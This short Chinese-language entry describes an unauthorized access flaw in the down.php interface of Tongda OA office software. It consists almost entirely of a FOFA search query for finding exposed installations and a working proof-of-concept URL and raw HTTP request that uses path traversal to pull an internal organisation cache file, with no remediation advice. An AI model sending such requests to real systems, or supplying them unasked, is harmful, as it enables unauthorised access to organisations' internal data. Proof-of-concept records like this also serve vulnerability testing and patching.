通达OA down.php接口存在未授权访问漏洞 fofa app="TDXK-通达OA" poc http://127.0.0.1/inc/package/down.php?id=../../../cache/org GET /inc/package/down.php?id=../../../cache/org HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept: */* Connection: Keep-Alive